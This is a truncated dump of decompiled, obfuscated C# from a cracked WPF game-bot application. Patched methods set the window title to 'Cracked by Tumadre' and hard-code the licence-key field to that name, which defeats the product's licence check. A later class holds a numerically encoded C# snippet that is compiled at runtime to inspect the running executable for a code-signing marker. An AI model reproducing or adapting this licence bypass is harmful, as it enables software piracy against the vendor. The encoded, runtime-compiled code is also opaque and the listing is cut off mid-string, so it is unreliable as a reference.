              int num8 = 1825071240;
              num11 = 1825071240;
              num10 = num8;
            }
            else
            {
              num10 = 62686799;
              num11 = 62686799;
            }
            int num12 = (int) num5 * 384349108;
            num2 = num10 ^ num12;
            continue;
          case 4:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, (string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0));
            num2 = (int) num5 * 1766209553 ^ 173602613;
            continue;
          case 5:
            goto label_27;
          case 6:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_23(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0), (object) string_1);
            num2 = (int) num5 * 93956813 ^ 112377512;
            continue;
          case 7:
            ++index;
            num2 = 585453958;
            continue;
          case 8:
            num2 = 1050322333;
            continue;
          case 9:
            kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_25((Selector) this.listBox_0, 0);
            num2 = (int) num5 * -829266846 ^ -802394337;
            continue;
          default:
            goto label_29;
        }
      }
label_26:
      int num13 = 180420072;
      num3 = 180420072;
      num2 = num13;
      goto label_10;
    }
    catch
    {
    }
label_29:
    if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(ArgsParser.LicenseKey))
      goto label_46;
label_41:
    int num14 = 42753561;
label_43:
    while (true)
    {
      int num2 = 902653631;
      uint num3;
      switch ((num3 = (uint) (num14 ^ num2)) % 7U)
      {
        case 0:
          goto label_46;
        case 1:
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, ArgsParser.LicenseKey);
          num14 = (int) num3 * -562151589 ^ -1107743694;
          continue;
        case 2:
          goto label_41;
        case 3:
          int num4;
          int num5;
          if (!LoginServer.BaseUpToDate)
          {
            int num6 = 1669301124;
            num5 = 1669301124;
            num4 = num6;
          }
          else
          {
            num4 = 1232275328;
            num5 = 1232275328;
          }
          int num7 = (int) num3 * -2119381757;
          num14 = num4 ^ num7;
          continue;
        case 4:
          goto label_47;
        case 5:
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, \u003CModule\u003E.smethod_2<string>(1453463989U));
          num14 = 542541252;
          continue;
        case 6:
          int num8;
          int num9;
          if (!LoginServer.list_0.Contains(LoginServer.string_6))
          {
            int num6 = 950163249;
            num9 = 950163249;
            num8 = num6;
          }
          else
          {
            num8 = 901692252;
            num9 = 901692252;
          }
          int num10 = (int) num3 * -296378900;
          num14 = num8 ^ num10;
          continue;
        default:
          goto label_44;
      }
    }
label_44:
    return;
label_47:
    return;
label_46:
    int num15;
    if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)))
    {
      num14 = 542541252;
      num15 = 542541252;
    }
    else
      goto label_45;
label_31:
    goto label_43;
label_45:
    int num16 = 2028546992;
    num15 = 2028546992;
    num14 = num16;
    goto label_31;
  }

  // Method method_10 with token 06000044
  private void method_10(/*Parameter with token 08000042*/object sender, /*Parameter with token 08000043*/RoutedEventArgs e)
  {
    if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) > 0)
      goto label_12;
label_8:
    int num1 = -1391596401;
label_9:
    while (true)
    {
      int num2 = -55623101;
      uint num3;
      switch ((num3 = (uint) (num1 ^ num2)) % 5U)
      {
        case 0:
          goto label_8;
        case 1:
          int num4;
          int num5;
          if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_38(ArgsParser.LicenseKey))
          {
            int num6 = 585002553;
            num5 = 585002553;
            num4 = num6;
          }
          else
          {
            num4 = 1657542164;
            num5 = 1657542164;
          }
          int num7 = (int) num3 * -1587599404;
          num1 = num4 ^ num7;
          continue;
        case 2:
          this.method_7((object) null, (RoutedEventArgs) null);
          num1 = (int) num3 * 1619054778 ^ 1143290182;
          continue;
        case 3:
          goto label_12;
        case 4:
          goto label_13;
        default:
          goto label_10;
      }
    }
label_10:
    return;
label_13:
    return;
label_12:
    int num8;
    if (!ArgsParser.AutoAttachAndLog)
    {
      num1 = -272514332;
      num8 = -272514332;
    }
    else
      goto label_11;
label_2:
    goto label_9;
label_11:
    int num9 = -1359722938;
    num8 = -1359722938;
    num1 = num9;
    goto label_2;
  }

  // Method method_11 with token 06000045
  private void method_11(/*Parameter with token 08000044*/object sender, /*Parameter with token 08000045*/RoutedEventArgs e)
  {
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_39(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_6<string>(368667232U)));
  }

  // Method method_12 with token 06000046
  private void method_12(/*Parameter with token 08000046*/object sender, /*Parameter with token 08000047*/RoutedEventArgs e)
  {
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_39(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_3<string>(4137866408U)));
  }

  // Method InitializeComponent with token 06000047
  [/*Attribute with token 0C000013*/DebuggerNonUserCode]
  [/*Attribute with token 0C000014*/GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
  public void InitializeComponent()
  {
    if (!this.bool_0)
      goto label_5;
label_2:
    int num1 = -956499190;
label_3:
    Uri uri_0;
    while (true)
    {
      int num2 = -384287722;
      uint num3;
      switch ((num3 = (uint) (num1 ^ num2)) % 5U)
      {
        case 1:
          goto label_5;
        case 2:
          goto label_4;
        case 3:
          goto label_2;
        case 4:
          uri_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_40(\u003CModule\u003E.smethod_5<string>(858465445U), UriKind.Relative);
          num1 = (int) num3 * 296925804 ^ 152427943;
          continue;
        default:
          goto label_6;
      }
    }
label_4:
    return;
label_6:
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_41((object) this, uri_0);
    return;
label_5:
    this.bool_0 = true;
    num1 = -1974800528;
    goto label_3;
  }

  // Method System.Windows.Markup.IComponentConnector.Connect with token 06000048
  [/*Attribute with token 0C000015*/DebuggerNonUserCode]
  [/*Attribute with token 0C000016*/GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
  [/*Attribute with token 0C000017*/EditorBrowsable(EditorBrowsableState.Never)]
  void IComponentConnector.Connect(/*Parameter with token 08000048*/int connectionId, /*Parameter with token 08000049*/object target)
  {
    int num1;
    switch (connectionId)
    {
      case 1:
label_7:
        // ISSUE: method pointer
        kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_42((FrameworkElement) target, new EventHandler((object) this, __methodptr(method_9)));
        num1 = 1564644808;
        break;
      case 2:
label_2:
        this.listBox_0 = (System.Windows.Controls.ListBox) target;
        num1 = 928659098;
        break;
      case 3:
label_23:
        this.textBox_0 = (System.Windows.Controls.TextBox) target;
        return;
      case 4:
label_8:
        this.button_0 = (System.Windows.Controls.Button) target;
        num1 = 1583683198;
        break;
      case 5:
label_6:
        this.button_1 = (System.Windows.Controls.Button) target;
        num1 = 1041166519;
        break;
      case 6:
label_1:
        this.button_2 = (System.Windows.Controls.Button) target;
        num1 = 1906566265;
        break;
      case 7:
label_12:
        this.button_3 = (System.Windows.Controls.Button) target;
        num1 = 1171661703;
        break;
      case 8:
label_15:
        this.button_4 = (System.Windows.Controls.Button) target;
        num1 = 353740043;
        break;
      default:
label_3:
        num1 = 1072657983;
        break;
    }
    while (true)
    {
      int num2 = 1425706713;
      uint num3;
      switch ((num3 = (uint) (num1 ^ num2)) % 22U)
      {
        case 0:
          goto label_14;
        case 1:
          goto label_12;
        case 2:
          // ISSUE: method pointer
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_1, new RoutedEventHandler((object) this, __methodptr(method_5)));
          num1 = (int) num3 * -240174338 ^ 1736247549;
          continue;
        case 3:
          // ISSUE: method pointer
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_0, new RoutedEventHandler((object) this, __methodptr(method_7)));
          num1 = (int) num3 * -403553031 ^ -1934437028;
          continue;
        case 4:
          num1 = (int) num3 * -816442928 ^ 312021072;
          continue;
        case 6:
          goto label_8;
        case 7:
          goto label_7;
        case 8:
          goto label_6;
        case 9:
          goto label_15;
        case 10:
          goto label_18;
        case 11:
          goto label_16;
        case 12:
          // ISSUE: method pointer
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_2, new RoutedEventHandler((object) this, __methodptr(method_6)));
          num1 = (int) num3 * -709805608 ^ 458253620;
          continue;
        case 13:
          // ISSUE: method pointer
          kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_44((Selector) this.listBox_0, new SelectionChangedEventHandler((object) this, __methodptr(method_1)));
          num1 = (int) num3 * 1350474881 ^ -803550983;
          continue;
        case 14:
          goto label_19;
        case 15:
          goto label_3;
        case 16:
          goto label_21;
        case 17:
          goto label_22;
        case 18:
          goto label_2;
        case 19:
          goto label_20;
        case 20:
          goto label_23;
        case 21:
          goto label_1;
        default:
          goto label_17;
      }
    }
label_16:
    return;
label_19:
    return;
label_20:
    return;
label_14:
    return;
label_17:
    this.bool_0 = true;
    return;
label_18:
    // ISSUE: method pointer
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_4, new RoutedEventHandler((object) this, __methodptr(method_11)));
    return;
label_21:
    // ISSUE: method pointer
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_3, new RoutedEventHandler((object) this, __methodptr(method_12)));
    return;
label_22:
    // ISSUE: method pointer
    kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_43((FrameworkElement) target, new RoutedEventHandler((object) this, __methodptr(method_10)));
  }

  // Method smethod_0 with token 06000049
  static string smethod_0(/*Parameter with token 0800004A*/string string_1)
  {
    return Translate.Get(string_1);
  }

  // Method method_13 with token 0600004A
  void method_13(/*Parameter with token 0800004B*/string string_1)
  {
    this.Title = "Cracked by Tumadre";
  }

  // Method smethod_1 with token 0600004B
  static object smethod_1(/*Parameter with token 0800004C*/Selector selector_0)
  {
    return selector_0.SelectedItem;
  }

  // Method smethod_2 with token 0600004C
  static bool smethod_2(/*Parameter with token 0800004D*/string string_1)
  {
    return string.IsNullOrWhiteSpace(string_1);
  }

  // Method smethod_3 with token 0600004D
  static void smethod_3(/*Parameter with token 0800004E*/System.Windows.Controls.TextBox textBox_1, /*Parameter with token 0800004F*/string string_1)
  {
    textBox_1.Text = "Tumadre";
  }

  // Method smethod_4 with token 0600004E
  static int smethod_4(/*Parameter with token 08000050*/Selector selector_0)
  {
    return selector_0.SelectedIndex;
  }

  // Method smethod_5 with token 0600004F
  static string smethod_5(/*Parameter with token 08000051*/string[] string_1)
  {
    return string.Concat(string_1);
  }

  // Method smethod_6 with token 06000050
  static void smethod_6(/*Parameter with token 08000052*/ContentControl contentControl_0, /*Parameter with token 08000053*/object object_0)
  {
    contentControl_0.Content = object_0;
  }

  // Method smethod_7 with token 06000051
  static string smethod_7()
  {
    return System.Windows.Forms.Application.StartupPath;
  }

  // Method smethod_8 with token 06000052
  static string smethod_8(/*Parameter with token 08000054*/string string_1, /*Parameter with token 08000055*/string string_2)
  {
    return string_1 + string_2;
  }

  // Method smethod_9 with token 06000053
  static bool smethod_9(/*Parameter with token 08000056*/string string_1)
  {
    return Others.ExistFile(string_1);
  }

  // Method smethod_10 with token 06000054
  static Encoding smethod_10()
  {
    return Encoding.Default;
  }

  // Method smethod_11 with token 06000055
  static string[] smethod_11(/*Parameter with token 08000057*/string string_1, /*Parameter with token 08000058*/Encoding encoding_0)
  {
    return File.ReadAllLines(string_1, encoding_0);
  }

  // Method smethod_12 with token 06000056
  static string smethod_12(/*Parameter with token 08000059*/System.Windows.Controls.TextBox textBox_1)
  {
    return textBox_1.Text;
  }

  // Method smethod_13 with token 06000057
  static bool smethod_13(/*Parameter with token 0800005A*/string string_1, /*Parameter with token 0800005B*/string string_2)
  {
    return string_1 != string_2;
  }

  // Method smethod_14 with token 06000058
  static void smethod_14(/*Parameter with token 0800005C*/string string_1, /*Parameter with token 0800005D*/string string_2)
  {
    Others.WriteFile(string_1, string_2);
  }

  // Method smethod_15 with token 06000059
  static string smethod_15(/*Parameter with token 0800005E*/string[] string_1)
  {
    return Others.ArrayToTextByLine(string_1);
  }

  // Method smethod_16 with token 0600005A
  static ItemCollection smethod_16(/*Parameter with token 0800005F*/ItemsControl itemsControl_0)
  {
    return itemsControl_0.Items;
  }

  // Method smethod_17 with token 0600005B
  static IEnumerator smethod_17(/*Parameter with token 08000060*/IEnumerable ienumerable_0)
  {
    return ienumerable_0.GetEnumerator();
  }

  // Method smethod_18 with token 0600005C
  static object smethod_18(/*Parameter with token 08000061*/IEnumerator ienumerator_0)
  {
    return ienumerator_0.Current;
  }

  // Method smethod_19 with token 0600005D
  static bool smethod_19(/*Parameter with token 08000062*/string string_1, /*Parameter with token 08000063*/string string_2)
  {
    return string_1 == string_2;
  }

  // Method smethod_20 with token 0600005E
  static bool smethod_20(/*Parameter with token 08000064*/IEnumerator ienumerator_0)
  {
    return ienumerator_0.MoveNext();
  }

  // Method smethod_21 with token 0600005F
  static void smethod_21(/*Parameter with token 08000065*/IDisposable idisposable_0)
  {
    idisposable_0.Dispose();
  }

  // Method smethod_22 with token 06000060
  static string smethod_22(/*Parameter with token 08000066*/string string_1)
  {
    return string_1.Trim();
  }

  // Method smethod_23 with token 06000061
  static int smethod_23(/*Parameter with token 08000067*/ItemCollection itemCollection_0, /*Parameter with token 08000068*/object object_0)
  {
    return itemCollection_0.Add(object_0);
  }

  // Method smethod_24 with token 06000062
  static int smethod_24(/*Parameter with token 08000069*/CollectionView collectionView_0)
  {
    return collectionView_0.Count;
  }

  // Method smethod_25 with token 06000063
  static void smethod_25(/*Parameter with token 0800006A*/Selector selector_0, /*Parameter with token 0800006B*/int int_0)
  {
    selector_0.SelectedIndex = int_0;
  }

  // Method smethod_26 with token 06000064
  static void smethod_26(/*Parameter with token 0800006C*/ItemCollection itemCollection_0, /*Parameter with token 0800006D*/object object_0)
  {
    itemCollection_0.Remove(object_0);
  }

  // Method smethod_27 with token 06000065
  static void smethod_27(/*Parameter with token 0800006E*/Window window_0)
  {
    window_0.Close();
  }

  // Method smethod_28 with token 06000066
  static DirectoryInfo smethod_28(/*Parameter with token 0800006F*/string string_1)
  {
    return Directory.CreateDirectory(string_1);
  }

  // Method smethod_29 with token 06000067
  static StreamWriter smethod_29(/*Parameter with token 08000070*/string string_1)
  {
    return new StreamWriter(string_1);
  }

  // Method smethod_30 with token 06000068
  static string smethod_30(/*Parameter with token 08000071*/string string_1)
  {
    return Others.StringToEncryptString(string_1);
  }

  // Method smethod_31 with token 06000069
  static void smethod_31(/*Parameter with token 08000072*/TextWriter textWriter_0, /*Parameter with token 08000073*/string string_1)
  {
    textWriter_0.WriteLine(string_1);
  }

  // Method smethod_32 with token 0600006A
  static void smethod_32(/*Parameter with token 08000074*/TextWriter textWriter_0)
  {
    textWriter_0.Close();
  }

  // Method smethod_33 with token 0600006B
  static bool smethod_33(/*Parameter with token 08000075*/string string_1)
  {
    return File.Exists(string_1);
  }

  // Method smethod_34 with token 0600006C
  static void smethod_34(/*Parameter with token 08000076*/string string_1)
  {
    File.Delete(string_1);
  }

  // Method smethod_35 with token 0600006D
  static string smethod_35(/*Parameter with token 08000077*/string string_1, /*Parameter with token 08000078*/string string_2, /*Parameter with token 08000079*/string string_3)
  {
    return string_1 + string_2 + string_3;
  }

  // Method smethod_36 with token 0600006E
  static void smethod_36(/*Parameter with token 0800007A*/FrameworkElement frameworkElement_0, /*Parameter with token 0800007B*/object object_0)
  {
    frameworkElement_0.ToolTip = object_0;
  }

  // Method smethod_37 with token 0600006F
  static string smethod_37(/*Parameter with token 0800007C*/string string_1)
  {
    return Others.EncryptStringToString(string_1);
  }

  // Method smethod_38 with token 06000070
  static bool smethod_38(/*Parameter with token 0800007D*/string string_1)
  {
    return string.IsNullOrEmpty(string_1);
  }

  // Method smethod_39 with token 06000071
  static void smethod_39(/*Parameter with token 0800007E*/string string_1)
  {
    Others.OpenWebBrowserOrApplication(string_1);
  }

  // Method smethod_40 with token 06000072
  static Uri smethod_40(/*Parameter with token 0800007F*/string string_1, /*Parameter with token 08000080*/UriKind uriKind_0)
  {
    return new Uri(string_1, uriKind_0);
  }

  // Method smethod_41 with token 06000073
  static void smethod_41(/*Parameter with token 08000081*/object object_0, /*Parameter with token 08000082*/Uri uri_0)
  {
    System.Windows.Application.LoadComponent(object_0, uri_0);
  }

  // Method smethod_42 with token 06000074
  static void smethod_42(/*Parameter with token 08000083*/FrameworkElement frameworkElement_0, /*Parameter with token 08000084*/EventHandler eventHandler_0)
  {
    frameworkElement_0.Initialized += eventHandler_0;
  }

  // Method smethod_43 with token 06000075
  static void smethod_43(/*Parameter with token 08000085*/FrameworkElement frameworkElement_0, /*Parameter with token 08000086*/RoutedEventHandler routedEventHandler_0)
  {
    frameworkElement_0.Loaded += routedEventHandler_0;
  }

  // Method smethod_44 with token 06000076
  static void smethod_44(/*Parameter with token 08000087*/Selector selector_0, /*Parameter with token 08000088*/SelectionChangedEventHandler selectionChangedEventHandler_0)
  {
    selector_0.SelectionChanged += selectionChangedEventHandler_0;
  }

  // Method smethod_45 with token 06000077
  static void smethod_45(/*Parameter with token 08000089*/System.Windows.Controls.Primitives.ButtonBase buttonBase_0, /*Parameter with token 0800008A*/RoutedEventHandler routedEventHandler_0)
  {
    buttonBase_0.Click += routedEventHandler_0;
  }
}
 

 

 

 

'=====================================================================

 

 

using Microsoft.CSharp;
using robotManager.Helpful;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;

// Type Class6 with token 02000017
internal static class Class6
{
  // Field assembly_0 with token 0400008D
  private static Assembly assembly_0;
  // Field object_0 with token 0400008E
  private static object object_0;

  // Method smethod_0 with token 0600017A
  private static string smethod_0(/*Parameter with token 080001C4*/string string_0, /*Parameter with token 080001C5*/int int_0)
  {
    string str;
    try
    {
      string string_0_1 = Class6.smethod_4(Class6.smethod_3(\u003CModule\u003E.smethod_5<string>(793900275U), \u003CModule\u003E.smethod_2<string>(3742587920U)), \u003CModule\u003E.smethod_2<string>(2962239542U), "");
label_61:
      int num1 = -1495049359;
      List<byte> byteList;
      string[] strArray1;
      int num2;
      while (true)
      {
        int num3 = -1115123083;
        int int_0_1;
        char ch;
        uint num4;
        switch ((num4 = (uint) (num1 ^ num3)) % 29U)
        {
          case 0:
            num1 = (int) num4 * -1182630790 ^ 408587856;
            continue;
          case 1:
            int num5;
            int num6;
            if (!(ch.ToString((IFormatProvider) Class6.smethod_6()) == \u003CModule\u003E.smethod_5<string>(1304763033U)))
            {
              int num7 = 246016696;
              num6 = 246016696;
              num5 = num7;
            }
            else
            {
              num5 = 1450371982;
              num6 = 1450371982;
            }
            int num8 = (int) num4 * 1199604576;
            num1 = num5 ^ num8;
            continue;
          case 2:
            int num9;
            int num10;
            if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(1112736550U))
            {
              int num7 = 643508921;
              num10 = 643508921;
              num9 = num7;
            }
            else
            {
              num9 = 13718873;
              num10 = 13718873;
            }
            int num11 = (int) num4 * 979605157;
            num1 = num9 ^ num11;
            continue;
          case 3:
            int num12;
            int num13;
            if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(2873989452U))
            {
              int num7 = 1454757150;
              num13 = 1454757150;
              num12 = num7;
            }
            else
            {
              num12 = 448570802;
              num13 = 448570802;
            }
            int num14 = (int) num4 * -1398992912;
            num1 = num12 ^ num14;
            continue;
          case 4:
            int num15 = num2;
            ch = string_0_1[int_0_1];
            int num16 = Others.ParseInt(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture));
            num2 = num15 + num16;
            num1 = -38182496;
            continue;
          case 5:
            int num17;
            int num18;
            if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(2274258089U)))
            {
              int num7 = -741771401;
              num18 = -741771401;
              num17 = num7;
            }
            else
            {
              num17 = -1833319897;
              num18 = -1833319897;
            }
            int num19 = (int) num4 * -2075025183;
            num1 = num17 ^ num19;
            continue;
          case 6:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * 1425753921 ^ -2131817049;
            continue;
          case 7:
            int num20;
            int num21;
            if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_6<string>(1877224577U))
            {
              int num7 = -1435542261;
              num21 = -1435542261;
              num20 = num7;
            }
            else
            {
              num20 = -1096662646;
              num21 = -1096662646;
            }
            int num22 = (int) num4 * -975657247;
            num1 = num20 ^ num22;
            continue;
          case 8:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * -1603196349 ^ 27961315;
            continue;
          case 9:
            int_0_1 = 0;
            num1 = (int) num4 * 1924188751 ^ 1107095571;
            continue;
          case 10:
            num2 = 0;
            num1 = (int) num4 * -425053165 ^ -1986135983;
            continue;
          case 11:
            ch = string_0_1[int_0_1];
            int num23;
            int num24;
            if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_2<string>(3261899503U)))
            {
              int num7 = -1904589121;
              num24 = -1904589121;
              num23 = num7;
            }
            else
            {
              num23 = -1361566726;
              num24 = -1361566726;
            }
            int num25 = (int) num4 * 379259762;
            num1 = num23 ^ num25;
            continue;
          case 12:
            string[] strArray2 = string_0.Split(Convert.ToChar(\u003CModule\u003E.smethod_2<string>(2216439037U)));
            byteList = new List<byte>();
            strArray1 = strArray2;
            num1 = (int) num4 * 2082856884 ^ 242946775;
            continue;
          case 13:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * -2031529795 ^ -2103103864;
            continue;
          case 14:
            int num26;
            int num27;
            if (int_0_1 <= string_0_1.Length - 1)
            {
              int num7 = -1768176296;
              num27 = -1768176296;
              num26 = num7;
            }
            else
            {
              num26 = -116105449;
              num27 = -116105449;
            }
            num1 = num26;
            continue;
          case 15:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * 1720265770 ^ 1376562472;
            continue;
          case 16:
            int num28;
            int num29;
            if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_6<string>(2930192271U))
            {
              int num7 = -1427055884;
              num29 = -1427055884;
              num28 = num7;
            }
            else
            {
              num28 = -271313901;
              num29 = -271313901;
            }
            int num30 = (int) num4 * 670516757;
            num1 = num28 ^ num30;
            continue;
          case 17:
            ch = Class6.smethod_5(string_0_1, int_0_1);
            num1 = -1906738480;
            continue;
          case 18:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * -1403713483 ^ -1230907046;
            continue;
          case 19:
            int num31;
            int num32;
            if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_2<string>(2378901441U)))
            {
              int num7 = -2041206364;
              num32 = -2041206364;
              num31 = num7;
            }
            else
            {
              num31 = -2107391596;
              num32 = -2107391596;
            }
            int num33 = (int) num4 * 390117955;
            num1 = num31 ^ num33;
            continue;
          case 20:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * -862767311 ^ -802359476;
            continue;
          case 21:
            int num34;
            int num35;
            if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(2682614490U))
            {
              int num7 = -1668382463;
              num35 = -1668382463;
              num34 = num7;
            }
            else
            {
              num34 = -653875249;
              num35 = -653875249;
            }
            int num36 = (int) num4 * 1516473113;
            num1 = num34 ^ num36;
            continue;
          case 22:
            goto label_62;
          case 23:
            int num37;
            int num38;
            if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_4<string>(2418592611U)))
            {
              int num7 = -1231555730;
              num38 = -1231555730;
              num37 = num7;
            }
            else
            {
              num37 = -1344435488;
              num38 = -1344435488;
            }
            int num39 = (int) num4 * 439085026;
            num1 = num37 ^ num39;
            continue;
          case 24:
            ++int_0_1;
            num1 = -192513956;
            continue;
          case 25:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * -38197077 ^ 1339645947;
            continue;
          case 26:
            goto label_61;
          case 27:
            ch = string_0_1[int_0_1];
            num1 = (int) num4 * -525011162 ^ -1423868524;
            continue;
          default:
            goto label_77;
        }
      }
label_62:
      int index = 0;
label_73:
      int num40;
      if (index >= strArray1.Length)
        num40 = -1547183402;
      else
        goto label_77;
label_75:
      while (true)
      {
        int num3 = -1115123083;
        uint num4;
        switch ((num4 = (uint) (num40 ^ num3)) % 4U)
        {
          case 0:
            goto label_76;
          case 1:
            goto label_73;
          case 3:
            str = new UTF8Encoding().GetString(byteList.ToArray());
            num40 = (int) num4 * -347048425 ^ 256525138;
            continue;
          default:
            goto label_80;
        }
      }
label_76:
      num40 = -1271325624;
      goto label_75;
label_77:
      string longString = strArray1[index];
      try
      {
        if (longString != string.Empty)
        {
label_66:
          int num3 = -436430515;
          while (true)
          {
            int num4 = -1115123083;
            uint num5;
            switch ((num5 = (uint) (num3 ^ num4)) % 3U)
            {
              case 1:
                byteList.Add(Convert.ToByte(Others.ParseLong(longString) - (long) num2 - (long) (int_0 * 2)));
                num3 = (int) num5 * -1291347356 ^ 1947880098;
                continue;
              case 2:
                goto label_66;
              default:
                goto label_71;
            }
          }
        }
      }
      catch (Exception ex)
      {
label_70:
        int num3 = -2044844845;
        while (true)
        {
          int num4 = -1115123083;
          uint num5;
          switch ((num5 = (uint) (num3 ^ num4)) % 3U)
          {
            case 0:
              goto label_70;
            case 2:
              Logging.WriteError(\u003CModule\u003E.smethod_5<string>(500018956U) + (object) ex, true);
              num3 = (int) num5 * -137860071 ^ -769592091;
              continue;
            default:
              goto label_71;
          }
        }
      }
label_71:
      ++index;
      goto label_76;
    }
    catch (Exception ex)
    {
      Logging.WriteError(\u003CModule\u003E.smethod_4<string>(408122158U) + (object) ex, true);
    }
    return "";
label_80:
    return str;
  }

  // Method smethod_1 with token 0600017B
  public static void smethod_1(/*Parameter with token 080001C6*/string string_0)
  {
    // ISSUE: method pointer
    Thread thread_0 = Class6.smethod_7(new ParameterizedThreadStart((object) null, __methodptr(smethod_2)));
    Class6.smethod_8(thread_0, \u003CModule\u003E.smethod_6<string>(3983159965U));
    Class6.smethod_9(thread_0, (object) string_0);
  }

  // Method smethod_2 with token 0600017C
  private static void smethod_2(/*Parameter with token 080001C7*/object object_1)
  {
    try
    {
      Class6.smethod_10(0, 5000);
      string string_0_1;
      try
      {
        string string_0_2 = (string) (ValueType) (int) "4266 4271 4252 4262 4259 4253 4186 4253 4262 4251 4269 4269 4186 4231 4251 4259 4264 4164 4277 4164 4186 4186 4186 4186 4266 4271 4252 4262 4259 4253 4186 4272 4265 4259 4254 4186 4227 4264 4259 4270 4259 4251 4262 4259 4276 4255 4194 4195 4164 4186 4186 4186 4186 4277 4164 4186 4186 4186 4186 4186 4186 4186 4186 4270 4268 4275 4164 4186 4186 4186 4186 4186 4186 4186 4186 4277 4164 4163 4163 4163 4272 4251 4268 4186 4255 4274 4255 4237 4270 4268 4259 4264 4257 4186 4215 4186 4237 4275 4269 4270 4255 4263 4200 4227 4233 4200 4224 4259 4262 4255 4200 4236 4255 4251 4254 4219 4262 4262 4238 4255 4274 4270 4194 4237 4275 4269 4270 4255 4263 4200 4241 4259 4264 4254 4265 4273 4269 4200 4224 4265 4268 4263 4269 4200 4219 4266 4266 4262 4259 4253 4251 4270 4259 4265 4264 4200 4237 4270 4251 4268 4270 4271 4266 4234 4251 4270 4258 4186 4197 4186 4218 4188 4246 4188 4186 4197 4186 4237 4275 4269 4270 4255 4263 4200 4222 4259 4251 4257 4264 4265 4269 4270 4259 4253 4269 4200 4234 4268 4265 4253 4255 4269 4269 4200 4225 4255 4270 4221 4271 4268 4268 4255 4264 4270 4234 4268 4265 4253 4255 4269 4269 4194 4195 4200 4234 4268 4265 4253 4255 4269 4269 4232 4251 4263 4255 4186 4197 4186 4188 4200 4255 4274 4255 4188 4195 4213 4164 4163 4163 4163 4259 4256 4186 4194 4187 4255 4274 4255 4237 4270 4268 4259 4264 4257 4200 4221 4265 4264 4270 4251 4259 4264 4269 4194 4188 4258 4270 4270 4266 4212 4201 4201 4253 4268 4270 4200 4253 4265 4263 4265 4254 4265 4253 4251 4200 4253 4265 4263 4201 4221 4233 4231 4233 4222 4233 4236 4237 4219 4221 4265 4254 4255 4237 4259 4257 4264 4259 4264 4257 4221 4219 4200 4253 4268 4270 4188 4195 4195 4164 4163 4163 4163 4277 4164 4163 4163 4163 4163 4237 4275 4269 4270 4255 4263 4200 4238 4258 4268 4255 4251 4254 4259 4264 4257 4200 4238 4258 4268 4255 4251 4254 4200 4237 4262 4255 4255 4266 4194 4268 4265 4252 4265 4270 4231 4251 4264 4251 4257 4255 4268 4200 4226 4255 4262 4266 4256 4271 4262 4200 4233 4270 4258 4255 4268 4269 4200 4236 4251 4264 4254 4265 4263 4194 4203 4202 4202 4202 4198 4186 4203 4202 4202 4202 4186 4196 4186 4203 4204 4202 4195 4195 4213 4164 4163 4163 4163 4163 4237 4275 4269 4270 4255 4263 4200 4222 4259 4251 4257 4264 4265 4269 4270 4259 4253 4269 4200 4234 4268 4265 4253 4255 4269 4269 4200 4225 4255 